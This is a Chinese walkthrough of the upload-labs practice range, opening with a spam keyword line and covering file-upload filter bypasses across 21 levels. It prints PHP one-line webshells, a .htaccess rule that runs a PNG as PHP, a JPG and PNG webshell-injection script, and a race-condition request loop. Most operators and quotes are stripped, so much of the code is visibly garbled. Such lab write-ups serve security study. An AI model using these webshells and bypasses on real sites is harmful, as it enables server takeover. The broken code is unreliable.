html网站模板免费下载,广告传媒公司取名,推广的主要目的是什么,wordpress ie兼容文章目录 Pass-01 前端JSJS绕过上传或者用burp抓包的方式 Pass-02 MIME检测Pass-03 特殊文件后缀黑白名单绕过特殊文件名绕过 Pass-04 .htacess上传Pass-05 user.ini文件上传Pass-06 大小写绕过Pass-07 空格绕过Pass-08 .绕过Pass-09 ::$DATA绕过Pass-10 .空格.绕过Pass-11 双写… 文章目录 Pass-01 前端JSJS绕过上传或者用burp抓包的方式 Pass-02 MIME检测Pass-03 特殊文件后缀黑白名单绕过特殊文件名绕过 Pass-04 .htacess上传Pass-05 user.ini文件上传Pass-06 大小写绕过Pass-07 空格绕过Pass-08 .绕过Pass-09 ::$DATA绕过Pass-10 .空格.绕过Pass-11 双写绕过Pass-12 %00截断Pass-13 %00截断Pass-14 上传图片马Pass-15 上传图片马Pass-16 上传图片马Pass-17 上传图片马上传gif图像上传png图片IHDRPLTEIDATIEND 上传jpg图片 Pass-18 条件竞争Pass-19 条件竞争Pass-20 /.绕过Pass-21 数组绕过 Pass-01 前端JS 前端JS的检验 加载时弹出对话框 绕过 1.利用BP工具 2.修改webshell为允许上传类型 先上传个a.php试试发现弹窗口只能上传jpg、png、gif类型的图片 写个一句话木马尝试上传 JS绕过上传
可能是前端存在过滤打开F12检查一下发现是checkFile()函数存在过滤 禁用JS因为这个checkFile()函数是前端的脚本所以如果经用了JS,实际上就是禁用这个检测的checkFile函数或者直接删除掉这个checkFile的函数因为如果要禁用JS的话就有可能禁用掉正常的JS代码可能会影响文件的正常上传
然后再次上传a.php发现上传成功了然后用hackbar 或者用burp抓包的方式 修改后缀的png变成php,然后重新发包
可以看到已经上传成功得到了图片的url 然后用蚁剑连接一下就可以连接后台噜
密码就是一句话木马上传的那个 Pass-02 MIME检测 服务器MIME检测检测Content-Type的内容 绕过修改类型 将php文件上传发现不行 然后将其后缀改成png并抓包 可以看到文件类型为png 修改一下后缀和上道题的方法相同 然后连接蚁剑拿到后台 Pass-03 特殊文件后缀 特殊解析后缀 服务器文件名拓展名检测检测根文件 extension 相关的内容基于黑名单检测黑名单的安全性比白名单的安全性低很多攻击手法自然也比白名单多。一般由个专门的blacklist里面包含常见的危险脚本文件。
绕过1.文件大小写让绕过Php PhP pHp等2.黑白名单绕过phpphp2php3php5phtmlaspaspxascxashxcerasajsp,jspxcdx\x00hh\x46php3.特殊文件名绕过
(1修改数据包里的文件名为 test.php 或 test.asp_(下划线是空格)由于这种命名格式在 windows系统里是不允许的所以在绕过上传之后windows系统会自动去掉.点和空格。Linux和 Unix中没有这个特性。
(2::$DATA(php在windows的时候如果文件名::DATA会把::DATA之后的数据当作文件流处
理不会检测后缀名且保持::DATA之前的文件名其目的就是不检查后缀名)4.0x00截断绕过5.2 C语言中将 \0 当作字符串的结尾5.htaccess文件攻击结合黑名单攻击6.解析绕过上传3.php,发现失败了
查看一下源代码吧
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.asp,.aspx,.php,.jsp);$file_name trim($_FILES[upload_file][name]);$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //收尾去空浅浅分析一下isset是确定上传按钮存在
file_exists是确定上传路径存在
deny_ext是删除后缀名为’.asp’,‘.aspx’,‘.php’,‘.jsp’
trim:是php的函数是去除字符串首尾的空白符
deldot是即从字符串的尾部开始从后向前删除点.直到该字符串的末尾字符不是.为止
strchr:查找.的第一次出现并返回此字符串的其余部分
strtolower把所有字符都转换为小写
str_ireplace:把不允许的后缀名都给删除了并且不区分大小写 ,将::$DATA替换为空
黑白名单绕过
在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。 我们可以试试将3.php改成3.php3 上传成功了但是文件名的名字发生改变 特殊文件名绕过
进行特殊文件名绕过 可以发现成功上传但是文件名有变动 Pass-04 .htacess上传 .htacess上传绕过 文件上传之.htaccess绕过黑名单——upload-labs靶场第四关
.htaccess上传绕过文件上传黑名单
Apache服务器允许在每个目录下存在一个名为.htaccess的文件.htaccess是一个纯文本文件该文件可以作为Apache辅助配置文件仅在当前目录生效。.htaccess文件可以实现URL重写、自定义错误页面、MIME类型配置以及权限访问控制等。起到了伪静态应用、图片防盗链、自定义404错误页面、允许或阻止特定IP地址范围访问、目录浏览与主页、禁止访问指定文件类型以及文件密码保护等等的作用。.htaccess只针对Apache服务器有效上传一个php文件发现不能上传 查看源码
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.php1,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.pHp1,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.ini);$file_name trim($_FILES[upload_file][name]);$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //收尾去空上一道题因为过滤了上传文件的文件名后缀所以我们可以使用php5、phtml、php3、phps等后缀名来进行绕过但是这一关将这些后缀名也进行了过滤所以我们可以用.htaccess上传来绕过
可以上传一个.htaccess的文件
创建一个.htacess的文件,里面写入
FilesMatch 4.png
SetHandler application/x-httpd-php
/FilesMatch
FileMatch表示匹配4.png的文件当该文件匹配成功后setHandler表示将文件名中有“4.png”的文件作为PHP类型的文件来进行处理然后再上传4.png,利用图片构造HackBar请求Pass-05 user.ini文件上传 user.ini文件上传 Upload-labs Pass-05 .user.ini文件上传-CSDN博客
.user.ini文件上传
从上一关我们可以知道.htaccess可以覆盖apache的配置文件而user.ini 则可以覆盖php.ini的配置.htaccess文件只能用于apahce不能用于iis和nginx等中间件
.user.ini只能用于Server API为FastCGI模式下而正常情况下apache不是运行在此模块下的。
.htaccess和.user.ini都只能用于访问本目录下的文件时进行覆盖。所以先创建.usere.ini文件
里面写入
方法一
auto_prepend_file 5.png //包含在文件头
方法二
auto_append_file 5.png //包含在文件尾.user.ini文件的意思是所有的php文件都自动包含一个5.png文件。user.ini相当于一个用户自定义的php.ini然后上传.user.ini再上传5.png
发现上传成功 直接查看图片路径会现在解析图片错误是因为只有在访问php文件时才会自动包含5.png所以作者给了提示在上传目录下是有一个readme.php文件的所以直接访问此文件就可以包含上传的shell了 Pass-06 大小写绕过 大小写绕过 上道题的源码有个strtolower 这道题的源码 可以看到没有strtolower了所以直接用大小写绕过
利用BP抓包看一下修改一下大小写 大小写绕过原理
Windows系统下对于文件名中的大小写不敏感例如test.php和TeSt.PHP是一样的。
Linux系统下对于文件名中的大小写敏感例如test.php和 TesT.php就是不一样的。Pass-07 空格绕过 空格绕过 查看源码
$is_upload false;
$msg null;
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess,.ini);$file_name $_FILES[upload_file][name];$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 此文件不允许上传;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}
}
与上道题源码的区别就是缺少了 Window会强制去除空格
报出错的试试改源码echo输出tempfile和imgpath再试试 $file_ext trim($file_ext); //首尾去空所以使用空格绕过但是我没执行出来 这道题可以用双写绕过,看到成功上传
在7.php的后面加上::DA::DATATA Pass-08 .绕过 .绕过 查看源码
$is_upload false;
$msg null;
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess,.ini);$file_name trim($_FILES[upload_file][name]);$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //首尾去空发现对文件后缀没有进行去.操作
在Windows系统下文件后缀最后一个点会被自动去掉
但我好像没执行成功QAQ先记一下这个方法吧
Pass-09 ::$DATA绕过 Windows文件流特性绕过 ://DATA必须在Windows下,php在Windows的时候如果文件名加上://DATA会把$DATA后面的数据当作文件流处理且保持$DATA之前的文件名目的就是不检查后缀名查看源代码 if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess,.ini);$file_name trim($_FILES[upload_file][name]);$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext trim($file_ext); //首尾去空可以看到少了 $file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA这一行在9.php的后面增加::$DATA上传成功 Pass-10 .空格.绕过 用.空格.绕过 查看源代码
if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess,.ini);$file_name trim($_FILES[upload_file][name]);$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //首尾去空和前面的报错没有不同但是没有做循环处理所以在文件名后加上. .
讲一下为啥能这么写
经过deldot将点去掉变成.空格 然后trim首尾去空将空格去掉变成一个点就成了上面的.过滤
Pass-11 双写绕过 文件名双写绕过 查看源码
if (file_exists(UPLOAD_PATH)) {$deny_ext array(php,php5,php4,php3,php2,html,htm,phtml,pht,jsp,jspa,jspx,jsw,jsv,jspf,jtml,asp,aspx,asa,asax,ascx,ashx,asmx,cer,swf,htaccess,ini);$file_name trim($_FILES[upload_file][name]);$file_name str_ireplace($deny_ext,, $file_name);$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.$file_name; str_ireplace就是把不允许的后缀名都给删除了并且不区分大小写
从底下也能看到把php给删除掉了 执行成功 Pass-12 %00截断 %00截断 这道题需要配置一下环境这个00截断需要php的环境小于5.3.4同时magic_quotes_gpc需要off的状态
然后配置环境的时候还遇到了php下载不下来的情况是说网络不稳定
解决方案PHPStudy 下载PHP提示“当前网络不稳定下载失败”_php5.2.17下载不了 phpstudy-CSDN博客
查看一下源码
if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_ext substr($_FILES[upload_file][name],strrpos($_FILES[upload_file][name],.)1);if(in_array($file_ext,$ext_arr)){$temp_file $_FILES[upload_file][tmp_name];$img_path $_GET[save_path]./.rand(10, 99).date(YmdHis)...$file_ext;ext_arr是白名单的限制只能上传这些东西
file_ext是通过查找文件名中的最后一个点.来确定文件扩展名
if(in_array)是检查文件扩展名是否在允许的列表中
temp_file获取上传文件的临时路径
img_path构造目标文件的完整路径和文件名包括一个随机数和当前时间戳以确保文件名的唯一性 上传一个php文件发现又变成白名单了
抓包仔细观察一下发现前面有个上传路径 可以用%00进行截断,
00截断的原理是啥捏
关于上传中00截断的理解与分析 | Tatsumaki’Blog
0x00是字符串结束的标志通过手动添加字符串的方式将00后面的内容进行截断但是00后面的内容又可以帮助我们绕过文件检测
00截断不能在文件名处修改比如1.php%001.png在程序提取后缀名的时候遇到%00就自动结束了所以它提取到的后缀名还是.php
所以00截断用在文件上传路径的地方path:/uploads/ 因为这种情况path:/uploads/1.php%00就是上传1.php%00截断什么时候进行urldecode捏
path在url、cookie或者上传方式不是multipart/from-data的时候就不用进行url编码
当path存在url、cookie里面的时在提交数据的时候浏览器会对数据进行url编码到服务器则会对数据进行一次解码操作GET会自动解码POST不会自动解码反正GET方法不用对%00进行urldecode,而POST需要对%00进行urldecode
然后这道题在12.php后面加上%00发现上传成功了 执行成功 Pass-13 %00截断 00截断 可以看到它的上传路径写在了底下就是POST型需要对%00进行urldecode 执行成功 Pass-14 上传图片马 上传图片马 PHP中pack、unpack的详细用法_php unpack-CSDN博客 这道题要求我们上传一个图片马到服务器
Png图片文件包括8字节89 50 4E 47 0D 0A 1A 0A。即为 .PNG
Jpg图片文件包括2字节FF D8。
Gif图片文件包括6字节47 49 46 38 39|37 61 。即为 GIF89(7)a。
Bmp图片文件包括2字节42 4D。即为 BM打开cmd/b表示二进制文件binary/a代表文字文件ascii
copy logo.jpg/b shell.php/a shell.jpgshell.php里面就是要执行的一句话木马
?php
phpinfo();
eval($_POST[cmd]);
?其实就是将shell.php里面的一句话木马插入到这个图片中也可以直接在图片中插入也行就是害怕直接插入图片不能正常显示所以用的上面的那个命令 以png图片为例jpggif图片应该都差不多
可以看到上传成功然后执行就行 因为这个包含一个文件上传漏洞
所以应该是可以用文件上传漏洞执行里面的Php代码 然后查看一下源代码
$strInfo unpack(C2chars, $bin); 有个unpack的函数从二进制字符串对数据进行解包
Pass-15 上传图片马 上传图片马 还是上传一个图片马所以先查看一下源代码吧 $info getimagesize($filename);可以看到有个getimagesize用于获取图像大小以及相关的信息成功返回一个数组失败则返回FALSE并产生一个错误信息
和上道题差不多吧 Pass-16 上传图片马 上传图片马 直接查看页面源代码
$image_type exif_imagetype($filename);exif_imagetype用来判断一个图像的类型
但是这个需要开启php_exif模块
服务器配置说明
1.在php.ini文件中找到;extensionphp_exif.dll去掉前面的分号 2.在php.ini文件中找到;extensionphp_mbstring.dll去掉前面的分号并将此行移动到extensionphp_exif.dll之前使之首先加载*。
3.找到[exif]段把下面语句的分号去掉。
;exif.encode_unicode ISO-8859-15
;exif.decode_unicode_motorola UCS-2BE
;exif.decode_unicode_intel UCS-2LE
;exif.encode_jis
;exif.decode_jis_motorola JIS
;exif.decode_jis_intel JISPass-17 上传图片马 难一点的上传图片马 upload-labs之pass 16详细分析 - 先知社区 (aliyun.com)
吼本来想按刚刚的那个方法试一下的发现不行欸QAQ
查看一下其中一段源代码吧
上传gif图像
在网上先下载一个Gif图片将?php phpinfo();?添加到Test.gif的尾部
成功上传 打开上传到upload文件夹的gif图片 发现刚刚上传的php代码被删除掉了
关于这个gif的二次渲染我们只需要找到渲染前后没有变化的位置然后将php代码写进去就可以成功上传有php代码的文件
对比一下蓝色部分是没有发生变化的 将php代码插在前面 然后再保存下来重新进行上传发现变成小白人了哈哈 可以看到php代码没有被删除
、
所以成功上传图片马
上传png图片
这个好难QAQ
先下载一个png图片
分析一下png图片
png定义了两种类型的数据块 。一种被称为关键数据块标准一种被称为辅助数据块(可选
数据块的结构
IHDR
数据块IHDR它包含有PNG文件中存储的图像数据的基本信息并要作为第一个数据块出现在PNG数据流中而且一个PNG数据流中只能有一个文件头数据块。
PLTE
调色板PLTE数据块是辅助数据块,对于索引图像调色板信息是必须的调色板的颜色索引从0开始编号然后是1、2……调色板的颜色数不能超过色深中规定的颜色数如图像色深为4的时候调色板中的颜色数不可以超过2^416否则这将导致PNG图像不合法。
IDAT
图像数据块IDAT(image data chunk)它存储实际的数据在数据流中可包含多个连续顺序的图像数据块。
IDAT存放着图像真正的数据信息因此如果能够了解IDAT的结构我们就可以很方便的生成PNG图像
IEND
图像结束数据IEND(image trailer chunk)它用来标记PNG文件或者数据流已经结束并且必须要放在文件的尾部。
直接用生成好的图片
?php
$p array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img imagecreatetruecolor(32, 32);for ($y 0; $y sizeof($p); $y 3) {$r $p[$y];$g $p[$y1];$b $p[$y2];$color imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,./1.png);
?
看到已经写入了 看看这个命令?$_GET[0]($_POST[1]);?,首先$_GET[0]指的是以0为参数进行GET传参其次$_POST[1]指的是用1来接受POST提交上来的数据
上传图片可以上传
上传jpg图片
先在网上下载一张jpg的图片
现将这张图片进行上传然后将上传的图片下载下来 使用下面这个脚本将图片进行处理
?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php jpg_name.jpgIn case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs Somethings wrong.If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload ?phpinfo();?;if(!extension_loaded(gd) || !function_exists(imagecreatefromjpeg)) {die(php-gd is not installed);}if(!isset($argv[1])) {die(php jpg_payload.php jpg_name.jpg);}set_error_handler(custom_error_handler);for($pad 0; $pad 1024; $pad) {$nullbytePayloadSize $pad;$dis new DataInputStream($argv[1]);$outStream file_get_contents($argv[1]);$extraBytes 0;$correctImage TRUE;if($dis-readShort() ! 0xFFD8) {die(Incorrect SOI marker);}while((!$dis-eof()) ($dis-readByte() 0xFF)) {$marker $dis-readByte();$size $dis-readShort() - 2;$dis-skip($size);if($marker 0xDA) {$startPos $dis-seek();$outStreamTmp substr($outStream, 0, $startPos) . $miniPayload . str_repeat(\0,$nullbytePayloadSize) . substr($outStream, $startPos);checkImage(_.$argv[1], $outStreamTmp, TRUE);if($extraBytes ! 0) {while((!$dis-eof())) {if($dis-readByte() 0xFF) {if($dis-readByte ! 0x00) {break;}}}$stopPos $dis-seek() - 2;$imageStreamSize $stopPos - $startPos;$outStream substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat(\0,$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream $outStreamTmp;} else {break;}if(checkImage(payload_.$argv[1], $outStream)) {die(Success!);} else {break;}}}}unlink(payload_.$argv[1]);die(Something\s wrong);function checkImage($filename, $data, $unlink FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage FALSE;if(preg_match(/(\d) extraneous bytes before marker/, $errstr, $m)) {if(isset($m[1])) {$extraBytes (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order false, $fromString false) {$this-binData ;$this-order $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die(File not exists [.$filename.]);$this-binData file_get_contents($filename);} else {$this-binData $filename;}$this-size strlen($this-binData);}public function seek() {return ($this-size - strlen($this-binData));}public function skip($skip) {$this-binData substr($this-binData, $skip);}public function readByte() {if($this-eof()) {die(End Of File);}$byte substr($this-binData, 0, 1);$this-binData substr($this-binData, 1);return ord($byte);}public function readShort() {if(strlen($this-binData) 2) {die(End Of File);}$short substr($this-binData, 0, 2);$this-binData substr($this-binData, 2);if($this-order) {$short (ord($short[1]) 8) ord($short[0]);} else {$short (ord($short[0]) 8) ord($short[1]);}return $short;}public function eof() {return !$this-binData||(strlen($this-binData) 0);}}
?执行命令为:php jpg_payload.php 1205354342.jpg 可以看到已经写入php代码 Pass-18 条件竞争 条件竞争 查看一下原代码
$is_upload false;
$msg null;if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_name $_FILES[upload_file][name];$temp_file $_FILES[upload_file][tmp_name];$file_ext substr($file_name,strrpos($file_name,.)1);$upload_file UPLOAD_PATH . / . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path UPLOAD_PATH . /. rand(10, 99).date(YmdHis)...$file_ext;rename($upload_file, $img_path);$is_upload true;}else{$msg 只允许上传.jpg|.png|.gif类型文件;unlink($upload_file);}}else{$msg 上传出错;}
}
file_ext是获取文件上传的扩展名即文件的最后一部分
upload_file拼接出文件的完整路径
in_array检查是否在白名单中
rename将文件进行重命名
unlink如果上传的文件不在允许的类型数组中则设置错误的信息并删除上传的文件
条件竞争涉及到的就是操作系统中所提到的进程或者线程同步的问题当一个程序的运行的结果依赖于线程的顺序处理不当就会发生条件竞争。
有一定的处理顺序就像这道题先是进行上传然后进行重命名
就像在当我们在手机端进行提现操作时账户余额为500元向服务器发送提现500元的请求提现完毕后账户余额应当清零。那么如果在我提现成功和它进行清零事件的间隙时间里我再次发送出提现500元的请求会发生什么呢条件竞争利用成功的结果就是多了500大洋。
所以对于这道题我们可以在判断白名单和unlink的操作之间上传一个木马
将?php fputs(fopen(shell.php,w),?php eval($_POST[cmd])?);?写入shell.php 不断访问上传的shell.php文件一旦有200的状态码说明条件竞争成功
接着用Python脚本去不停的访问shell.php一直到成功
import requests
url http://192.168.181.203:8014/upload-labs/upload/test.php
while True:html requests.get(url)if html.status_code 200:print(OK)break
当出现ok时可以停止BP Pass-19 条件竞争 条件竞争 上传以后在哪个图片可以看到图片的上传路径发生改变 查看一下源码 然后和上一题差不多的说
Pass-20 /.绕过 /.进行绕过或者是00绕过 查看一下原代码
$is_upload false;
$msg null;
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(php,php5,php4,php3,php2,html,htm,phtml,pht,jsp,jspa,jspx,jsw,jsv,jspf,jtml,asp,aspx,asa,asax,ascx,ashx,asmx,cer,swf,htaccess);$file_name $_POST[save_name];$file_ext pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH . / .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload true;}else{$msg 上传出错;}}else{$msg 禁止保存为该类型文件;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}
}
move_uploaded_file:会忽略掉文件末尾的 /.主要作用是将临时文件移到指定的目标路径并确保文件在移动中不会被删除或覆盖。 执行成功 Pass-21 数组绕过 数组绕过 查看一下源码
$is_upload false;
$msg null;
if(!empty($_FILES[upload_file])){//检查MIME$allow_type array(image/jpeg,image/png,image/gif);if(!in_array($_FILES[upload_file][type],$allow_type)){$msg 禁止上传该类型文件!;}else{//检查文件名$file empty($_POST[save_name]) ? $_FILES[upload_file][name] : $_POST[save_name];if (!is_array($file)) {$file explode(., strtolower($file));}$ext end($file);$allow_suffix array(jpg,png,gif);if (!in_array($ext, $allow_suffix)) {$msg 禁止上传该后缀文件!;}else{$file_name reset($file) . . . $file[count($file) - 1];$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH . / .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg 文件上传成功;$is_upload true;} else {$msg 文件上传失败;}}}
}else{$msg 请选择要上传的文件;
}
需要分析一下
可以看到注释上有
1.检查了MIME
2.检查了文件名
3.判断$file是否是数组不是数组以.来分割数组 is_array — 检测变量是否是数组 explode — 使用一个字符串分割另一个字符串
4.取 $file 最后一个元素作为文件后缀进行检查
5.取 f i l e 第 一 位 和 第 ‘ file 第一位和第file第一位和第‘file[count($file) - 1]作为文件名和后缀名保存
数组首元素和数组最后一个元素进行拼接
首先我们肯定要绕过对非数组进行分割处不然直接被卡死了。如果我们传入的数组为save_name[muma.php,jpg]这样可以绕过后缀检测但是一直到命名处$file[count($file) - 1]对应的是”jpg”那么最终文件命名为muma.php.jpg这种情况。我们需要的是muma.php可以试着将数组传为save_name[muma.php,不设置,jpg]当我们save_name[1]不设置的时候count结果仍然是2但是文件名后缀拼接出来为空结果为muma.php. 再根据windows特性将.省略达到文件上传的目的
因为count($file)返回数组中的元素数量而不会考虑数组中未设置的元素 然后一下这个东西
save_name[0]21.php
save_name[1]nothing
save_name[2]png
因为如上面所说所以count ($file)2-11返回数组1的值但是有由于数组[1]设置的为空所以就直接为21.php执行成功